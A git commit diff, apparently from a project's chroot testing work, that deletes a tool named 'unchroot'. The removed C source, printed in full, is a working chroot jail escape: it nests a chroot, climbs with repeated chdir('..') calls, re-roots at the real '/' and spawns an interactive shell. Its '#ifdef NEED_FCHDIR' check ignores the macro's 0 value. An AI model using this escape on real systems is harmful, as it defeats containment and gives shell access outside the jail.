chroot testing

2 files changed, 0 insertions, 125 deletions

diff --git a/src/tools/unchroot b/src/tools/unchroot
deleted file mode 100755
index d32ce2682..000000000
--- a/src/tools/unchroot
+++ /dev/null
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c
deleted file mode 100644
index 21731296e..000000000
--- a/src/tools/unchroot.c
+++ /dev/null
@@ -1,125 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-
-/* 
- ** You should set NEED_FCHDIR to 1 if the chroot() on your
- ** system changes the working directory of the calling
- ** process to the same directory as the process was chroot()ed
- ** to.
- **
- ** It is known that you do not need to set this value if you
- ** running on Solaris 2.7 and below.
- **
- */
-#define NEED_FCHDIR 0
-
-#define TEMP_DIR "waterbuffalo"
-
-/* Break out of a chroot() environment in C */
-
-int main() {
-        int x;                                    /* Used to move up a directory tree */
-        int done=0;                               /* Are we done yet ? */
-#ifdef NEED_FCHDIR
-        int dir_fd;                               /* File descriptor to directory */
-#endif
-        struct stat sbuf;                         /* The stat() buffer */
-
-        /* 
-         ** First we create the temporary directory if it doesn't exist
-         */
-        if (stat(TEMP_DIR,&sbuf)<0) {
-                if (errno==ENOENT) {
-                        if (mkdir(TEMP_DIR,0755)<0) {
-                                fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
-                                        strerror(errno));
-                                exit(1);
-                        }
-                }
-                else {
-                        fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
-                                strerror(errno));
-                        exit(1);
-                }
-        }
-        else if (!S_ISDIR(sbuf.st_mode)) {
-                fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
-                exit(1);
-        }
-
-#ifdef NEED_FCHDIR
-        /* 
-         ** Now we open the current working directory
-         **
-         ** Note: Only required if chroot() changes the calling program's
-         **       working directory to the directory given to chroot().
-         **
-         */
-        if ((dir_fd=open(".",O_RDONLY))<0) {
-                fprintf(stderr,"Failed to open \".\" for reading - %s\n",
-                        strerror(errno));
-                exit(1);
-        }
-#endif
-
-        /* 
-         ** Next we chroot() to the temporary directory
-         */
-        if (chroot(TEMP_DIR)<0) {
-                fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
-                        strerror(errno));
-                exit(1);
-        }
-
-#ifdef NEED_FCHDIR
-        /* 
-         ** Partially break out of the chroot by doing an fchdir()
-         **
-         ** This only partially breaks out of the chroot() since whilst
-         ** our current working directory is outside of the chroot() jail,
-         ** our root directory is still within it. Thus anything which refers
-         ** to "/" will refer to files under the chroot() point.
-         **
-         ** Note: Only required if chroot() changes the calling program's
-         **       working directory to the directory given to chroot().
-         **
-         */
-        if (fchdir(dir_fd)<0) {
-                fprintf(stderr,"Failed to fchdir - %s\n",
-                        strerror(errno));
-                exit(1);
-        }
-        close(dir_fd);
-#endif
-
-        /* 
-         ** Completely break out of the chroot by recursing up the directory
-         ** tree and doing a chroot to the current working directory (which will
-         ** be the real "/" at that point). We just do a chdir("..") lots of
-         ** times (1024 times for luck :). If we hit the real root directory before
-         ** we have finished the loop below it doesn't matter as .. in the root
-         ** directory is the same as . in the root.
-         **
-         ** We do the final break out by doing a chroot(".") which sets the root
-         ** directory to the current working directory - at this point the real
-         ** root directory.
-         */
-        for(x=0;x<1024;x++) {
-                chdir("..");
-        }
-        chroot(".");
-
-        /* 
-         ** We're finally out - so exec a shell in interactive mode
-         */
-        if (execl("/bin/sh","-i",NULL)<0) {
-                fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
-                exit(1);
-        }
-}